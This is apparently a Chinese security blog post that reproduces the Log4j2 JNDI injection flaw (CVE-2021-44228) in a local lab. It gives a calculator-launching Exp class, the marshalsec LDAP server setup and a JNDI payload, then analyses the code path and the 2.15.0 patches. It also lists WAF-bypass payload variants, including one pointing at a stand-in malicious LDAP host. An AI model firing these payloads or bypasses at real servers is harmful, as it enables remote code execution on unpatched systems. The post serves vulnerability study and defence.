Log4j2(CVE-2021-44228)漏洞复现及原理思考
前言
Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。
因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似,导致有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:
- Log4j2分为2个jar包,一个是接口
log4j-api-${版本号}.jar
,一个是具体实现log4j-core-${版本号}.jar
。Log4j只有一个jar包log4j-${版本号}.jar
。 - Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
- Log4j2的package名称前缀为
org.apache.logging.log4j
。Log4j的package名称前缀为org.apache.log4j
。
Log4j2的JNDI注入漏洞(CVE-2021-44228)可以称之为“核弹”级别。Log4j2作为类似jdk级别的基础类库,几乎无人幸免。
一、漏洞复现
(一)服务端环境搭建
开发环境:IDEA 2021.2、JDK 8
新建一个Spring项目,File
→New
→Project
,配置如下

勾选Spring Web

如果第一次创建,需稍等片刻下载spring-boot相关依赖,IDEA右下角可查看相关依赖下载进度。
修改pom.xml文件

添加如下代码
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>

在log4j_demo\src\main\java\com\example\log4j_demo
下创建HelloLog4j.java
,内容如下
package com.example.log4j_demo;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;
import java.util.Map;
@RestController
public class HelloLog4j {
private Logger Logger = LogManager.getLogger(HelloLog4j.class);
@RequestMapping(value = "/login" , method = {RequestMethod.POST})
public String login(@RequestBody Map body) {
String user = body.get("user").toString();
String password = body.get("password").toString();
Logger.error("user:{}, password:{}" , user ,password);
return "login";
}
}
IDEA右上角选择Log4jDemoApplication
→Edit Configurations
,弹窗修改Environment
→VM options
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

然后需要检查几个地方
1. JDK版本相关
可能出现的报错,参考:【Java异常】IDEA 报错:无效的目标发行版:17
pom.xml
文件中的java.version
属性需为8

File
→Project Structure
→Project
,SDK版本如下

File
→Project Structure
→Modules
,Language level如下

Settings
→Java Compiler
如下

2. SprinBoot版本相关
可能出现的报错,参考:类文件具有错误的版本 61.0, 应为 52.0
pom.xml
文件中spring-boot版本
因为Spring官方发布从Spring 6以及SprinBoot 3.0开始最低支持JDK 17,此处用的JDK 8,所以需将SpringBoot版本降低为3.0以下,笔者此处用2.7.8。

上面检查好后,右上角绿色小三角运行项目,控制台输出如下
浏览器访问:http://127.0.0.1:8080/login,错误页面是因为代码中只接收POST请求,不影响

(二)编写EXP
新建一个Java项目,File
→New
→Project

然后直接Next→Next→起个项目名Exp
→Finish
在src目录新建一个Exp.java
,内容如下
import java.io.IOException;
public class Exp {
public Exp(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
Exp exploit = new Exp();
}
}
右键运行,可看到计算器被打开,且项目目录Exp\out\production\Exp
下生成了Exp.class
在此目录打开cmd,开一个http服务
然后利用反序列化工具marshalsec
,开一个LDAP服务
下载:https://github.com/mbechler/marshalsec
参考:https://exploit-notes.hdks.org/exploit/web/log4j-pentesting/#exploit-apache-solr-(jndi)
下载marshalsec,进到主目录,用如下命令编译
mvn clean package -DskipTests
编译成功cmd窗口末尾会显示如下内容
然后开启LDAP服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:9898/#Exp"
通过HackBar用POST请求发送json格式payload如下,执行后,会弹出系统计算机
{
"user": "wa0er",
"password": "${jndi:ldap://127.0.0.1:1389/Exp}"
}
此时看LDAP和HTTP服务窗口如下,Exp.class
被调用执行
复现成功!
二、原理分析
(一)JNDI注入
参考:https://xz.aliyun.com/t/12277#toc-2
https://tttang.com/archive/1611/#toc_jndi
JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。若程序定义了 JDNI 中的接口 API ,则就可以通过该接口 API 访问系统的 命令服务
和目录服务
,如下图。JNDI可访问的现有的目录及服务有:JDBC
、LDAP
、RMI
、DNS
、NIS
、CORBA
。

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup()
方法的参数可控,攻击者就可以将恶意的 url
传入参数远程加载恶意payload,造成注入攻击。
(二)调试分析
由于是JNDI注入,因此可以在InitialContext.lookup(String name)
方法下断点(也可以在创建的HelloLog4j.java
的Logger.error()
处下断点一步一步调试过来,但初次分析依然建议在InitialContext
下断点,因为调用链较复杂,涉及循环、分支,且中间有一部分与此漏洞的产生关系不大)

有几个关键点
Logger.error
......
MessagePatternConverter.format
....
StrSubstitutor.resolveVariable
Interpolator.lookup
JndiLookup.lookup
JndiManager.lookup
InitialContext.lookup
1. Logger.error()
从Logger.error()
处进来

在进行Logger.error()
日志记录时会采用logIfEnabled()
方法进行判断,isEnabled()
返回为true
才可以继续进行日志操作。这里也是漏洞能否成功触发的关键。
在本次漏洞分析过程中日志等级level为ERROR,它的intLevel()
为200,而本环境中默认的日志级别this.intLevel
为200(ERROR),正好满足this.intLevel >= level.intLevel()
。
此时filter()
方法返回true,即isEnabled()
返回为true
,成功进入到logMessage()
方法中。log4j默认的日志级别定义如下图,从上到下级别逐渐降低,intLevel()
数值逐渐增大,分别是:OFF(0)、FATAL(100)、ERROR(200)、WARN(300)、INFO(400)、DEBUG(500)、TRACE(600)、ALL(2147483647)。由此可见,漏洞能否成功触发与设置的日志Level有关,需要不低于默认日志级别。
然后中间就是读取配置文件创建event事件等操作,一直到MessagePatternConverter.format()
。
2. MessagePatternConverter.format()
该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${
子串时,调用StrSubstitutor进行进一步解析。
3. StrSubstitutor.resolveVariable()
StrSubstitutor将${
和}
之间的内容提取出来,调用并传递给Interpolator.lookup()方法,实现Lookup功能。
其中,StrSubstitutor.substitute()会经过如下for循环,匹配:-
子串,这里就为后面的waf绕过提供了思路。
4. Interpolator.lookup()
Interpolator实际是一个实现Lookup功能的代理类,该类在成员变量strLookupMap
中(**本环境是lookups
**)保存着各类Lookup功能的真正实现类。Interpolator对上一步提取出的内容解析后,从strLookupMap
获得Lookup功能实现类,并调用实现类的lookup()
方法。
例如对本例子中的jndi:ldap://127.0.0.1:1389/Exp
解析后得到jndi
的Lookup功能实现类为JndiLookup
,并调用JndiLookup.lookup()
方法。

5. JndiLookup.lookup()
JndiLookup.lookup()
方法调用JndiManager.lookup()
方法处理jndi对象。

6. JndiManager.lookup()
JndiManager.lookup()
直接委托给InitialContext.lookup()
方法。这里单独提到该方法,是因为后续的补丁中较为重要的变更即为该方法。
至此,后续即可按照常规jndi注入路径进行分析。
三、补丁分析
(一)2.15.0-rc1
通过比较2.15.0-rc1和该版本之前最后一个版本2.14.1之间的差异,可以发现Log4j2团队在12月5日提交了一个名为Restrict LDAP access via JNDI (#608)
的commit。该commit的详细内容如下链接:
https://github.com/apache/logging-log4j2/commit/c77b3cb39312b83b053d23a2158b99ac7de44dd3
除去一些测试代码和辅助代码,该commit最主要内容是在 JndiManager.lookup()
方法增加了几种限制,分别是allowedHosts
、allowedClasses
、allowedProtocols
。
由于rc1未在maven中央仓库上,因此需要自行下载代码并构建:
到Log4j2的GitHub官方仓库下载rc1:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。
分别进入log4j-api和log4j-core目录,执行mvn clean install -DskipTests
。最终会在本地maven仓库上生成rc1的jar包,版本为2.15.0,后续测试使用该jar包。
说明:此处笔者尝试构建时,maven的国内镜像(阿里云、腾讯云、华为云、网易云)均无法解析2.15.0的jar包
以下图片参考:https://www.freebuf.com/vuls/316143.html
各个限制的内容分别如下:
可以看到,rc1补丁通过对JNDI Lookup增加白名单的方式,限制默认可以访问的主机为本地IP,限制默认支持的协议类型为java
、ldap
、ldaps
,限制LDAP协议默认可以使用的Java类型为少数基础类型,从而大大减少了默认的攻击面。
(二)2.15.0-rc2
1. rc1中存在的问题
rc1里主要修复的JndiManager.lookup()
方法的整体逻辑结构如下:
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
......
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
if (!allowedHosts.contains(uri.getHost())) {
......
return null;
}
......
if (!allowedClasses.contains(className)) {
......
return null;
}
......
}
}
} catch (URISyntaxException ex) {
// This is OK.
}
return (T) this.context.lookup(name);
}
从上面的代码结构中可以总结如下的逻辑:
- 对传入的
name
参数进行前面提到的三类白名单检查。如果检查不通过,则直接返回null
。 - 如果产生
URISyntaxException
,则对该异常忽略,继续执行this.context.lookup(name)
。 - 如果未产生
URISyntaxException
,则执行this.context.lookup(name)
。
重点关注catch
代码块,rc1默认不对URISyntaxException
异常做任何处理,继续执行后续逻辑,即this.context.lookup(name)
。
再看下try
代码块中可能产生URISyntaxException
的地方。好巧不巧,try
代码块的第一个语句就可能产生该异常:URI uri = new URI(name);
。
试想一下,如果能构造某个特殊的URI,导致URI uri = new URI(name);
语句解析URI异常,抛出URISyntaxException
,但又能被this.context.lookup(name)
正确处理,不就可以绕过了吗?例如构建一个带空格的URI地址(${jndi:ldap://127.0.0.1:1389/ Exp}
,由于撰写本文时无法构建rc1代码,故可参考https://www.freebuf.com/vuls/316143.html)
2. rc2的修复方案
通过比较2.15.0-rc1和2.15.0-rc2之间的差异,可以发现Log4j2团队在12月10日提交了一个名为Handle URI exception
的commit。该commit的详细内容如下链接:
https://github.com/apache/logging-log4j2/commit/bac0d8a35c7e354a0d3f706569116dff6c6bd658
该commit主要内容是对rc1中JndiManager.lookup()
方法里的catch
代码块进行了修改:当URISyntaxException
异常被捕获时,直接返回null
。从而避免了上面提到的绕过思路。
四、WAF绕过
各大厂商针对log4j2漏洞应急方案集合:https://mp.weixin.qq.com/s/ZbzLc_N26lgUfvS-mM4R2g
由于Log4j2框架几乎是一个类似JDK级别的基础类库,即便自身应用程序里完成了升级,但大量存在依赖引入的其它框架、中间件导致升级工作极为困难,甚至在几年内都无法达到一个可接受的水平。目前,绝大部分公司采取在边界防护设备上使用“临时补丁”的方式。同时,大量bypass方法也随之而来,这将是一个漫长的过程。
WAF主要思路是过滤jndi、ldap、rmi等关键字;过滤ip:port
原始payload
${jndi:ldap://malicious-ldap-server.com/Exp}
(一)绕过思路1
前面分析提到过,StrSubstitutor首先会匹配${
,然后还会匹配:-
以${${::-j}ndi:${::-l}dap://127.0.0.1:1389/Exp}
为例

如果找到:-
,就截取:-
之前的变量赋值给varName,截取:-
到末尾的字符串赋值为varDefaultValve,然后就跳出循环。
然后使用resolveVariable() 对varName的内容进行判断,如果不匹配任何log4j2支持的协议,就返回null(这里varName的值为:
)。之后就会把varDefaultValve的值(这里为j
)赋给varValue。然后再用varValue替换整个${::-j}
,即最后结果为jndi:ldap://127.0.0.1:1389/Exp
。
所以绕过的方法可以是:
${任意字符串:-实际想要的字符串} = 实际想要的字符串
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:1389/Exp}
注意:这里的任意字符串不能为log4j2支持的Interpolator前缀。
(二)绕过思路2
Interpolator除jndi外,还支持解析很多其它前缀,如env
、lower
、upper
,所以可以用如下思路来处理关键字(部分版本不支持lower
、upper
等协议):
${jndi:${lower:l}${lower:d}a${lower:p}://127.0.0.1:1389/Exp}
(三)绕过思路3
针对过滤ip:port
,可用域名代替或用默认端口开启ldap服务
${jndi:ldap://malicious-ldap-server.com/Exp}
${jndi:ldap://malicious-ip/Exp} #此时需要ldap服务端口为389
五、思考
Log4j2漏洞就其自身原理来说,并不复杂,本质上就是jndi注入,分析过程也主要聚焦于jndi注入的产生过程。rc1中采用较为严格的白名单策略,从应急处理的角度看无可厚非。但从历史上发生的各类漏洞修补过程来看,必定会有各种地方遗漏导致后续不断地打补丁。对于WAF的绕过,纵观古今漏洞,往往能在漏洞产生路线的周围找到绕过思路,就像高速公路一样,总会有“事故多发路段”。从软件开发角度讲,与其在上线后不停修复打补丁,不如在开发早期,即设计阶段或者开发阶段,尽量避免这类有可能产生安全风险的设计。在2.16.0版本,Log4j2团队干脆默认禁用掉了JNDI Lookup功能。
另外,rc1中catch
代码对异常的处理方式,在日常开发过程中也是容易犯的问题。软件开发中有一个安全原则:Fail Securely
,意思是业务系统能够正确安全地处理各种异常和错误。虽然业务开发有时会为了便利性而牺牲一部分安全性,但对于Log4j此类偏底层的强依赖性类库,还是需要严格处理各种可能出现的错误和异常。
阿里云工程师发现Apache Log4j2组件漏洞后,按业界惯例向软件开发方Apache开源社区报告这一问题。但最终工信部网络安全管理局决定暂停阿里云作为上述合作单位6个月。对此,笔者想引用艾公的一句话作为结尾:尊严只在剑锋之上,真理只在大炮射程之内。
参考
记录一次log4j复现之旅(复现不了你来找我):https://blog.csdn.net/lmboss/article/details/123927020
Log4j2的JNDI注入漏洞(CVE-2021-44228)原理分析与思考:https://www.freebuf.com/vuls/316143.html
Apache Log4j2 Jndi RCE 高危漏洞分析与防御:https://paper.seebug.org/1787/
Apache log4j2 远程命令执行漏洞复现:https://cloud.tencent.com/developer/article/2148989
log4j waf 绕过技巧:https://www.cnblogs.com/ph4nt0mer/p/15701647.html